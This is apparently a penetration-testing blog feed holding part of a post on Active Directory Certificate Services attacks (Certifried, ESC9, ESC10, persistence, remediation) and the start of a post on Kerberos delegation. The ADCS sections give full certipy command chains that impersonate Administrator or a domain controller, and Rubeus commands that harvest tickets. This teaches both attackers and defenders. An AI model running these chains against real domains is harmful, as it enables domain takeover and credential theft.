<p>If you are lazy, you can try to use <a href="https://twitter.com/_batsec_">Batsec’s</a> <a href="https://github.com/bats3c/ADCSPwn">ADCSPwn</a>, which automates the whole thing.<br />
<br /><br />
<br />
Now to the brainfuck part. I hoped that after the S4U stuff, I would have a nice and relaxing time, but I was wrong. 
I will try to keep this as simple as possible, because I don’t get it either. You can try to follow me along for Certifried, ESC9 and ESC10.</p>

<p><img src="/images/2022-09-16/understand_meme.png" /></p>

<h2 id="certifried">Certifried</h2>

<p><a href="https://twitter.com/ly4k_">Oliver</a> found another vulnerability in ADCS, which is widely known as <a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">Certifried</a>. I higly recommend you to read his blog post, as it fully and understandable describes what exactly is happening.</p>

<p>The vulnerability allowed a low priv user to privesc to domain admin in a default setup, and was patched by Microsoft with updates for CVE-2022–26923 in May 2022. You know that some admins hate patching, don’t you?</p>

<p>By default, users can enroll in the <code class="language-plaintext highlighter-rouge">User</code> template, and computers in the <code class="language-plaintext highlighter-rouge">Machine</code> template, both allowing for client authentication.<br />
The difference is, that the user certs are derived from the <code class="language-plaintext highlighter-rouge">UPN</code>, which a computer object does not have. Instead their certs will be derived from their <code class="language-plaintext highlighter-rouge">dNSHostName</code> property.<br />
Now the tricky part:<br />
When a user wants to authenticate via PKINIT, the KDC will lookup the UPN provided in the cert, and try to match it to a user. The UPN must be unique, so we can’t simply change the UPN of user A to the B@domain.com, if B already exists.
When creating a computer account, the creator gets granted the <code class="language-plaintext highlighter-rouge">Validated write to DNS host name</code> permissions, which allows him to alter the <code class="language-plaintext highlighter-rouge">dNSHostName</code> property of the object, which needs to be <a href="https://learn.microsoft.com/en-us/windows/win32/adschema/r-validated-dns-host-name">“compliant with the computer name and domain name”</a>. This allows us to set the DNS name to something that doesn’t already exist, like test.mcafeelab.local.</p>

<p><img src="/images/2022-09-16/certifried1.png" /></p>

<p><img src="/images/2022-09-16/certifried2.png" /></p>

<p>If we now request a cert as the computer, it will be issued for test.mcafeelab.local as the <code class="language-plaintext highlighter-rouge">dNSHostName</code> is used, as explained before.</p>

<p><img src="/images/2022-09-16/certifried3.png" /></p>

<p>The fun thing now is, that in contrast to the <code class="language-plaintext highlighter-rouge">UPN</code>, the <code class="language-plaintext highlighter-rouge">dNSHostName</code> doesn’t need to be unique :)<br />
But you can’t simply swap your DNS name to dc2016.mcafeelab.local, as this again raises an error because when we update the value, AD automatically wants to also update the <code class="language-plaintext highlighter-rouge">SPN</code> of the object, which again needs to be unique:</p>

<p><img src="/images/2022-09-16/certifried4.png" /></p>

<p>Lucky for us, a creator of a computer object also has the <code class="language-plaintext highlighter-rouge">Validated write to service principal name</code> rights, so we can alter them as well.<br />
As can be seen in the picture above, only the values for the SPNs with the FQDN changed. The ones that don’t, still have like <code class="language-plaintext highlighter-rouge">HOST/WIN10X64</code> (without a $ at the end), not reflecting the changes to <code class="language-plaintext highlighter-rouge">test.mcafeelab.local</code>. If we delete the FQDN entries of our computer, we can alter the DNS property to our liking:</p>

<p>Before<br />
<img src="/images/2022-09-16/certifried5.png" /></p>

<p>After altering we can set the DNS name without an error and request a cert with the new name</p>

<p><img src="/images/2022-09-16/certifried6.png" /></p>

<p><img src="/images/2022-09-16/certifried7.png" /></p>

<p><img src="/images/2022-09-16/certifried8.png" /></p>

<p>We can finally authenticate as the DC and fetch the NT hash for PTH or whatever:</p>

<p><img src="/images/2022-09-16/certifried9.png" /></p>

<p>As we can see, the cert was issued to <code class="language-plaintext highlighter-rouge">DC2016$@mcafeelab.local</code> - name + <code class="language-plaintext highlighter-rouge">$</code>. This is because the mapping of the cert to an account first tries to match the principal name in the AS-REQ package. If not found, the SAN, UPN or DNS name are the next reference for a match. During PKINIT auth the trailing <code class="language-plaintext highlighter-rouge">$</code> from the principal name is stripped and the name matched to the <code class="language-plaintext highlighter-rouge">SAMAccountName</code> with a traling <code class="language-plaintext highlighter-rouge">$</code>. Please read the <a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">PKINIT &amp; Certificate Mapping</a> part of Oliver’s research to fully dig it.</p>

<p>To fix the Certifried attack vector, Microsoft implemented some countermeasures. One of them is a new security extension called <code class="language-plaintext highlighter-rouge">szOID_NTDS_CA_SECURITY_EXT</code> which embeds the <code class="language-plaintext highlighter-rouge">objectSid</code> of the requester into the cert.<br />
Additionally MS added 2 reg keys:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods 
and
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">CertificateMappingMethods</code> setting describes how <code class="language-plaintext highlighter-rouge">Schannel</code> (instead of Kerberos) handles authentication.</p>

<p>If <code class="language-plaintext highlighter-rouge">StrongCertificateBindingEnforcement</code> is set to 0, no strong mapping checks are performed and the new <code class="language-plaintext highlighter-rouge">szOID_NTDS_CA_SECURITY_EXT</code> extension is ignored globally.<br />
The newly introduced “features” of MS caused a lot of trouble, so admins were advised to revert the changes by setting the regkeys back to 0.</p>

<h2 id="esc9">ESC9</h2>

<p>If you want to fully understand, please read Oliver’s <a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">research</a>.</p>

<p>The main part is this that certs get mapped in a certain way:</p>

<blockquote>
  <p>If the certificate contains a UPN with the value john@corp.local, the KDC will first try to see if there exists a user with a userPrincipalName property value that matches. If not, it checks if the domain part corp.local matches the Active Directory domain. If there is no domain part in the UPN SAN, i.e. the UPN is just john, then no validation is performed. Next, it will try to map the user part john to an account where the sAMAccountName property matches. If this also fails, it will try to add a $ to the end of the user part, i.e. john$, and try the previous step again (sAMAccountName). This means that a certificate with a UPN value can actually be mapped to a machine account.</p>
</blockquote>

<blockquote>
  <p>If the certificate contains a DNS SAN and not a UPN SAN, then the KDC will split the DNS name into a user part and a domain part, i.e. johnpc.corp.local becomes johnpc and corp.local. The domain part is then validated to match the Active Directory domain, and the user part will be appended by a $ and then mapped to an account where the sAMAccountName property matches, i.e. johnpc will be looked up as johnpc$.</p>
</blockquote>

<h3 id="recon-6">Recon</h3>

<p>There is a new <code class="language-plaintext highlighter-rouge">msPKI-Enrollment-Flag</code> available:  <code class="language-plaintext highlighter-rouge">CT_FLAG_NO_SECURITY_EXTENSION (0x80000)</code>. This allows to disable the <code class="language-plaintext highlighter-rouge">szOID_NTDS_CA_SECURITY_EXT</code> extension for a single template.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil -dstemplate ESC9 msPKI-Enrollment-Flag
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc9_recon1.png" /></p>

<p>ESC9 is only useful when <code class="language-plaintext highlighter-rouge">StrongCertificateBindingEnforcement</code> is set to 1 = KDC checks if there is strong cert mapping applied to the cert. If yes it grants access. If not it checks if the cert contains the new SID extension and validates it. If check ok access is granted, otherwise declined. If the extension is completely missing, access is granted if the account requesting the cert is older than the cert.</p>

<p>If the affected cert template additionally allows for client authentication and we have <code class="language-plaintext highlighter-rouge">GenericWrite</code> over another account, we can carry out the attack.</p>

<p><img src="/images/2022-09-16/ESC9_1.png" /></p>

<h3 id="exploitation-7">Exploitation</h3>

<p>We first obtain the hash of the user we have <code class="language-plaintext highlighter-rouge">GenericWrite</code> rights for, in this case with the Shadow Credentials attack:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy shadow auto -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -account ds
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC9_2.png" /></p>

<p>Now we change the UPN of <code class="language-plaintext highlighter-rouge">ds</code> to be <code class="language-plaintext highlighter-rouge">Administrator</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn Administrator
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC9_3.png" /></p>

<p><img src="/images/2022-09-16/ESC9_4.png" /></p>

<p>Next we need to request a TGT as the <code class="language-plaintext highlighter-rouge">ds</code> user, which will give us a TGT with Administrator as <code class="language-plaintext highlighter-rouge">UPN</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'ds@mcafeelab.local' -hashes a690...7931 -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template ESC9
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC9_5.png" /></p>

<p>Now we need to revert the <code class="language-plaintext highlighter-rouge">UPN</code> settings on the <code class="language-plaintext highlighter-rouge">ds</code> account back to it’s default value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn ds@mcafeelab.local
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC9_6.png" /></p>

<p><img src="/images/2022-09-16/ESC9_7.png" /></p>

<p>Lastly we can now request a TGT with our ticket which has the <code class="language-plaintext highlighter-rouge">Administrator UPN</code>, which will resolve to the <code class="language-plaintext highlighter-rouge">Administrator@mcafeelab.local</code> acount now:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy auth -pfx 'administrator.pfx' -dc-ip '10.55.0.2' -domain mcafeelab.local
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC9_8.png" /></p>

<h2 id="esc10">ESC10</h2>

<p>So the last one in the list talks about the case when the global parameter <code class="language-plaintext highlighter-rouge">StrongCertificateBindingEnforcement</code> = 0 - so all templates are ignoring the <code class="language-plaintext highlighter-rouge">szOID_NTDS_CA_SECURITY_EXT</code> setting.<br />
The other prerequisit again is, that we have <code class="language-plaintext highlighter-rouge">GenericWrite</code> over another account.</p>

<h3 id="recon-7">Recon</h3>

<p>Query the accordings registry key locally or remotely.<br />
<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement</code></p>

<h3 id="exploitation-8">Exploitation</h3>

<p>These are the same steps as in <a href="#esc9">ESC9</a>, with the addition, that we can enroll in <strong>ANY</strong> cert that has <code class="language-plaintext highlighter-rouge">Client Authentication</code> enabled.</p>

<p>But wait there is more…<br />
<img src="/images/2022-09-16/more_meme.png" /></p>

<p>There is a 2nd scenario when Schannel is used instead of Kerberos, with a slight difference. This time instead of the <code class="language-plaintext highlighter-rouge">StrongCertificateBindingEnforcement</code> being disabled, we have the <code class="language-plaintext highlighter-rouge">CertificateMappingMethods</code> containing the <code class="language-plaintext highlighter-rouge">UPN</code> bit flag of <code class="language-plaintext highlighter-rouge">0x4</code> - SAN certificate mapping.<br />
This is the equivalent to the <code class="language-plaintext highlighter-rouge">szOID_NTDS_CA_SECURITY_EXT</code> extension for Kerberos, which can’t be applied to <code class="language-plaintext highlighter-rouge">Schannel</code>.<br />
Again, if you need more info, please read Oliver’s research, especially the <code class="language-plaintext highlighter-rouge">Schannel Certificate Mapping</code> part.</p>

<p>We again need an account with <code class="language-plaintext highlighter-rouge">GenericWrite</code> over another account, this time one that doesn’t have an <code class="language-plaintext highlighter-rouge">UPN</code> - which is all machine accounts and the built in Administrator.<br />
We’ll use the same two account from the example before.</p>

<h3 id="recon-8">Recon</h3>

<p>Query the accordings registry key locally or remotely.<br />
<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods</code></p>

<h3 id="exploitation-9">Exploitation</h3>

<p>First we need the NT hash of our attacked user:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy shadow auto -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -account ds
</code></pre></div></div>

<p>Then we change the <code class="language-plaintext highlighter-rouge">UPN</code> of the <code class="language-plaintext highlighter-rouge">ds</code> user to <code class="language-plaintext highlighter-rouge">DC2016$.mcafeelab.local</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn 'DC2016$@mcafeelab.local'
</code></pre></div></div>

<p>No we enroll into any cert that allows client auth as <code class="language-plaintext highlighter-rouge">ds</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'ds@mcafeelab.local' -hashes a69...931 -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template User
</code></pre></div></div>

<p>Change back the <code class="language-plaintext highlighter-rouge">UPN</code> to the default value:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy account update -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -user ds -upn 'ds@mcafeelab.local' 
</code></pre></div></div>

<p>And lastly jump into an ldap shell via <code class="language-plaintext highlighter-rouge">Schannel</code> and do some RBCD fun:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy auth -pfx 'dc2016.pfx' -dc-ip '10.55.0.2' -ldap-shell
set_rbcd DC2016$ evil123$
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC10_1.png" /></p>

<h2 id="bonus">Bonus</h2>

<h3 id="persistence">Persistence</h3>

<p>The cool thing about certs is that by default they have a lifetime of 1 year. So no matter how often changed or how complex a password is, the cert will always grant you access to a TGT and / or the current NT hash. Just request a cert with the NT hash or password and enjoy longtime access:</p>

<p><img src="/images/2022-09-16/extra.png" /></p>

<p>https://twitter.com/theluemmel/status/1572478359619211266</p>

<h3 id="bloodhound-integration">Bloodhound integration</h3>

<p>Again a cool feature from Certipy. You can export the findings of Certipy to Bloodhound with the <code class="language-plaintext highlighter-rouge">-old-bloodhound</code> switch:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -old-bloodhound
</code></pre></div></div>

<p><img src="/images/2022-09-16/bonus_bh1.png" /></p>

<p>We can then e.g. look for attacks paths for some of the ESC examples like ESC6 after importing Oliver’s <a href="https://github.com/ly4k/Certipy/blob/main/customqueries.json">custom queries</a> for Bloodhound:</p>

<p><img src="/images/2022-09-16/bonus_bh2.png" /></p>

<p>If you use Oliver’s <a href="https://github.com/ly4k/BloodHound/">fork</a> of Bloodhound, you can even find more ways for privesc via certs. Go read his <a href="https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6#ESC4%20—%20Vulnerable%20Certificate%20Template%20Access%20Control">blog</a>.</p>

<h1 id="remediation">Remediation</h1>

<p>Generally speaking, check your PKI infrastructure and use the tools and tips provided. Update regularly. Challenge regularly.</p>

<p>ESC1: When you really need to have the enrolee supply the SAN, at least activate <code class="language-plaintext highlighter-rouge">Manager Approval</code> or restrict the users who can enroll. Better turn it off completely.<br />
ESC2: If you need those cert templates, make use of the <code class="language-plaintext highlighter-rouge">Manager Approval</code> or restrict the users who can enroll. <br />
ESC3: Restrict the users who can enroll. Restrict users who can become EnrollemntAgents.<br />
ESC4: Review the ACLs on the templates and remove unneccessary access rights.<br />
ESC5: Review all other ACLs in your PKI and restrict as much as possible<br />
ESC6: Apply patch for CVE-2022–26923<br />
ESC7: Review ACLs on the PKI itself and remove unwanted access rights<br />
ESC8: Enable HTTPS on your enrollment endpoint and disable NTLM auth or remove it completely.<br />
Certifried: Apply patch for CVE-2022–26923<br />
ESC9: Set <code class="language-plaintext highlighter-rouge">StrongCertificateBindingEnforcement</code> = 2 and/or remove the <code class="language-plaintext highlighter-rouge">msPKI-Enrollment-Flag</code> from the affected template -&gt; <code class="language-plaintext highlighter-rouge">certutil -dstemplate ESC9 msPKI-Enrollment-Flag -0x00080000</code>  <br />
ESC10: Remove the 0x4 bit from the <code class="language-plaintext highlighter-rouge">CertificateMappingMethods</code> setting in the registry</p>

<h1 id="resources--credits">Resources &amp; Credits</h1>

<p>Thx to <a href="https://twitter.com/harmj0y">Will Schroeder</a>, <a href="https://twitter.com/tifkin_">Lee Christensen</a> and <a href="https://twitter.com/ly4k_">Oliver Lyak</a> for their research, tools and sharing of information regarding ADCS vulns.<br />
I also want to give a huge shout out to <a href="https://twitter.com/_nwodtuhs">Charly Bromberg</a> and <a href="https://twitter.com/snovvcrash">snovvcrash</a>, who do such outstanding jobs with the <a href="https://www.thehacker.recipes/ad/movement/ad-cs">Hacker Recipes</a> and <a href="https://ppn.snovvcrash.rocks/">snovvcrash.rocks</a>. Everything is documented step by step, reduced to the absolut minimum you need to pwn and understand things.<br />
Thx to all the others I forgot to mention, but which’s info, tools and writeups I used. I love you guys.</p>

<h2 id="all-the-stuff-i-used-for-my-research-in-absolutely-chaotic-order">All the stuff I used for my “research” in absolutely chaotic order:</h2>

<p>UPDATE 10.11.2022:<br />
SpecterOps released a new blog taking several scenarios with abuse cases and MS patchtes into cosideration -&gt; https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d</p>

<p>https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse/esc1<br />
https://github.com/GhostPack/Certify<br />
https://github.com/ly4k/Certipy<br />
https://www.thehacker.recipes/ad/movement/ad-cs<br />
https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate<br />
https://www.thehacker.recipes/ad/movement/ad-cs#attack-paths<br />
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf<br />
https://posts.specterops.io/certified-pre-owned-d95910965cd2<br />
ESC4: https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates<br />
https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7<br />
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 <br />
https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6<br />
https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services<br />
https://github.com/bats3c/ADCSPwn<br />
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate<br />
https://www.powershellgallery.com/packages/PSPKI/3.7.2<br />
https://www.pkisolutions.com/tools/pspki/<br />
https://blog.netwrix.com/2021/08/24/active-directory-certificate-services-risky-settings-and-how-to-remediate-them/<br />
https://www.thehacker.recipes/ad/movement/ad-cs/certifried<br />
https://www.gradenegger.eu/?p=18373</p>]]></content><author><name></name></author><summary type="html"><![CDATA[My dear Bagginses and Boffins, Tooks and Brandybucks, Grubbs, Chubbs, Hornblowers, Bolgers, Bracegirdles and Proudfoots - it is time for some new shit. We are going to explore the wonderful world of Active Directory Certificate Services, aka ADCS. If you want to leave an impression on your next pentest, this one’s for you, as Microsoft’s PKI implementation is widely used but little understood (well at least in terms of security). Same is true if you live on the blue side, as you can proactively mitigate issues an earn some bonus points with your boss, maybe. Prepare yourself for a shitload of pictures, memes, usefull as well as meaningless information.]]></summary></entry><entry><title type="html">S4fuckMe2selfAndUAndU2proxy - A low dive into Kerberos delegations</title><link href="https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/" rel="alternate" type="text/html" title="S4fuckMe2selfAndUAndU2proxy - A low dive into Kerberos delegations" /><published>2022-05-19T00:00:00+00:00</published><updated>2022-05-19T00:00:00+00:00</updated><id>https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations</id><content type="html" xml:base="https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/"><![CDATA[<p>Hello fellow h4x0rs, this time we are going to have a closer look at the different types of delegations inside an Active Directory.<br />
We’ll try to figure out what this magic is all about and of course how we can abuse it for fun and profit.</p>

<p>Prepare yourself for some absolute brainfuck and some bonus info if you make it through to the end.</p>

<p><img src="/images/2022-05-19/psychatrist_meme.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>It’s been some time since I last had the power and will to learn and write about something new, but over the past few weeks the cyber g0ds took control over me again. For whatever reason I decided to dive into delegation attacks, because it is once again a topic I am not capable of to fully understand (which is even the case after writing this blog post). And as mostly all the posts I am writing, this is again to help me understand this topic a little more in detail in the first place.</p>

<p>So without further ado let’s getz happy.</p>

<h1 id="kerberos-delegation">Kerberos Delegation</h1>

<p>Just by looking at the word itself, it becomes clear to the reader what it’s all about. Someone or something gets something from someone else and does something with it on behalf. In Germany we say: “Klingt komisch, ist aber so”.</p>

<p><img src="/images/2022-05-19/brainfuck.png" /></p>

<p>In an Active Directory, delegation enables an account (user, system or service) to act on behalf of another account and do something “as him” - so this account is able to impersonate others, to access additional resources.<br />
To give you an example:</p>

<p>A user visits a website hosted on an IIS to which he authenticates to. The website uses a SQL database in the backend, to which data has to be read from as that user. So the webserver gets the ability granted to impersonate that user, and authenticate as him - via Kerberos - to the SQL database and e.g. fetch data from a table only accessible by that user, which is called delegation.<br />
Microsoft has a good workflow in the official <a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SFU/%5bMS-SFU%5d.pdf">documents</a> - in this case it is the one for Constrained Delegation, but you hopefully get the idea:</p>

<p><img src="/images/2022-05-19/workflow.png" /></p>

<p>There are three main types of delegation that you might stumple upon in an AD:</p>

<ol>
  <li>Unconstrained Delegation</li>
  <li>Constrained Delegation</li>
  <li>Resource Based Constrained Delegation</li>
</ol>

<p>In the upcoming sections I will use terms like:</p>

<p><code class="language-plaintext highlighter-rouge">TGT</code> - Ticket Granting Ticket<br />
<code class="language-plaintext highlighter-rouge">ST</code> - Service Ticket<br />
<code class="language-plaintext highlighter-rouge">KDC</code> - Key Distribution Center<br />
and alike - stuff that goes in the same direction - technology wise</p>

<p>If you are not familiar with this terminology, I highly recommend you to read my previous blog post about <a href="https://luemmelsec.github.io/Kerberoasting-VS-AS-REP-Roasting/">Kerberoasting</a>, where all of this stuff is explained. But you can of course just do a lame ass google search :)</p>

<p>So let’s dive a little deeper, without getting to technical.</p>

<p><img src="/images/2022-05-19/deepdive.png" /></p>

<h2 id="unconstrained-delegation">Unconstrained Delegation</h2>

<p>Unconstrained Delegation means, that an account is allowed to impersonate ANY user to ANY service. So from an attackers perspective this seems like a really valuable target to to get control over, as it most likely means game over.</p>

<p>When a user requests a <code class="language-plaintext highlighter-rouge">ST</code> for the webservice from the example above, the KDC will include the user’s <code class="language-plaintext highlighter-rouge">TGT</code> inside the <code class="language-plaintext highlighter-rouge">ST</code> for the webservice. The service account is then able to extract and cache the <code class="language-plaintext highlighter-rouge">TGT</code> from the <code class="language-plaintext highlighter-rouge">ST</code> and with that ticket request another <code class="language-plaintext highlighter-rouge">ST</code> as that user for the SQL service, ultimately authentication to that service as the user and not as himself.</p>

<p>The config of an AD object looks like this (all objects that have an <code class="language-plaintext highlighter-rouge">SPN</code> can be configured for delegation):<br />
<img src="/images/2022-05-19/ucd.png" /></p>

<p>When a user (<code class="language-plaintext highlighter-rouge">lowpriv</code> in this case) accesses the system <code class="language-plaintext highlighter-rouge">epo</code> configured with Unconstrained Delegation enabled:</p>

<p><img src="/images/2022-05-19/access.png" /></p>

<p>The <code class="language-plaintext highlighter-rouge">TGT</code> of that user automagically gets cached. We can use <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> with the <code class="language-plaintext highlighter-rouge">triage</code> or <code class="language-plaintext highlighter-rouge">monitor</code> function to play along and watch them tickets flying in:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe monitor /interval:10 /targetuser:lowpriv
</code></pre></div></div>

<p><img src="/images/2022-05-19/saved_tgt.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe triage
</code></pre></div></div>

<p><img src="/images/2022-05-19/triage.png" /></p>

<h2 id="constrained-delegation">Constrained Delegation</h2>

<p>In the case of Constrained Delegation we are facing a more restricted variant, which was invented as an answer to face the security issues that arose from the unconstrained version. This time the account can impersonate ANY account but only to specific services on specific hosts.</p>

<p>What also is different here is, that the server doesn’t cache the users <code class="language-plaintext highlighter-rouge">TGT</code>s (well the KDC doesn’t even include them anymore inside the <code class="language-plaintext highlighter-rouge">ST</code>s) but instead is allowed to request a <code class="language-plaintext highlighter-rouge">ST</code> for the destination service for another user, but with his own <code class="language-plaintext highlighter-rouge">TGT</code>.<br />
So it goes like:<br />
“Hey KDC, it’s me the IIS-service account, please give me a ST for SQL/SQL-Server, not for me but for my buddy user1. K. thanks.”</p>

<p>The config inside AD looks like this:</p>

<p><img src="/images/2022-05-19/constrained_deleg.png" /></p>

<p>The system <code class="language-plaintext highlighter-rouge">epo</code> is allowed to delegate to the <code class="language-plaintext highlighter-rouge">cifs</code> service at <code class="language-plaintext highlighter-rouge">dc2016</code> and the <code class="language-plaintext highlighter-rouge">ldap</code> service at <code class="language-plaintext highlighter-rouge">dc2016-2</code>.</p>

<p>To achieve this, Microsoft extended the Kerberos protocol by two extensions, namingly <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13?redirectedfrom=MSDN">S4U2self</a> and <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a">S4U2proxy</a>.<br />
To quote Redmond at this stage:</p>

<p>“The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user.”<br />
“The Service for User to Proxy (S4U2proxy) extension provides a service that obtains a service ticket to another service on behalf of a user.”</p>

<p><code class="language-plaintext highlighter-rouge">S4U2self</code>’s purpose for an account is to be able to get a <code class="language-plaintext highlighter-rouge">ST</code> to itself when the user that needs to be impersonated did NOT authenticate via Kerberos - e.g. we used NTLM to authenticate to a webserver.<br />
This is called:</p>

<p><img src="/images/2022-05-19/nyan.png" /></p>

<p>The ticket generated with this extension has the <code class="language-plaintext highlighter-rouge">forwardable</code> flag set, which is a prerequisit for the whole stuff to work.</p>

<p><img src="/images/2022-05-19/forwardable.png" /></p>

<p><code class="language-plaintext highlighter-rouge">S4U2proxy</code>’s purpose is to take that forwardable ticket and use it to request a <code class="language-plaintext highlighter-rouge">ST</code> to any SPN specified in the <code class="language-plaintext highlighter-rouge">msds-allowedtodelegateto</code> options for the user specified in the S4U2self part. The verification of if the requesting account is allowed to impersonate users to the service provided is done by the <code class="language-plaintext highlighter-rouge">KDC</code>, which looks up the accounts <code class="language-plaintext highlighter-rouge">msds-allowedtodelegateto</code> field and only issues the <code class="language-plaintext highlighter-rouge">ST</code> if there is a match.<br />
In this case <code class="language-plaintext highlighter-rouge">epo</code> is allowed to delegate to <code class="language-plaintext highlighter-rouge">cifs</code>, <code class="language-plaintext highlighter-rouge">netman</code> and <code class="language-plaintext highlighter-rouge">remoteaccess</code> to <code class="language-plaintext highlighter-rouge">win10x64</code> only.</p>

<p><img src="/images/2022-05-19/allowedtodelegateto.png" /></p>

<h2 id="resource-based-constrained-delegation">Resource Based Constrained Delegation</h2>

<p>This type of delegation is very often described as just being the same as Constrained Delegation, just that the party granting permissions is the other way around. I personally had so much difficulties in understanding what is meant by that, until I stumbled across <a href="https://twitter.com/_nwodtuhs">Charlie Bromberg</a>’s awesome <a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations#talk">talk</a> at Insomni’Hack (please watch it to try to understand this whole topic), where he had this picture on his slide deck:</p>

<p><img src="/images/2022-05-19/delegations_overview.png" width="400" /></p>

<p>What is meant by the other way around is, that rather then granting an account the permission to request <code class="language-plaintext highlighter-rouge">ST</code>s as another user, you configure an account in a way that it allows other accounts to impersonate him for certain services on certain devices. You can also add user accounts to the <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute. However, the user account must have an SPN set (see also <a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd">here</a>).</p>

<p>Let’s do it together. We want the system <code class="language-plaintext highlighter-rouge">WIN10X64</code> to be able to delegate to the system <code class="language-plaintext highlighter-rouge">epo</code>. Instead of editing settings on <code class="language-plaintext highlighter-rouge">WIN10X64</code> like we would have done with Constrained Delegation, we in this case edit the <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute of <code class="language-plaintext highlighter-rouge">epo</code>, to which we want to delegate to.</p>

<p>Before RBCD set:</p>

<p><img src="/images/2022-05-19/before_rbcd.png" /></p>

<p>After RBCD set:</p>

<p><img src="/images/2022-05-19/after_rbcd.png" /></p>

<p>You can set RBCD with the help of the PowerShell AD cmdlets like so (take care of the trailing <code class="language-plaintext highlighter-rouge">$</code> if you want to use computer accounts, as the <code class="language-plaintext highlighter-rouge">SAMAccountName</code> is needed here):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADComputer &lt;account you want to delegate to&gt; -PrincipalsAllowedToDelegateToAccount &lt;account we want to delegate from&gt;
</code></pre></div></div>

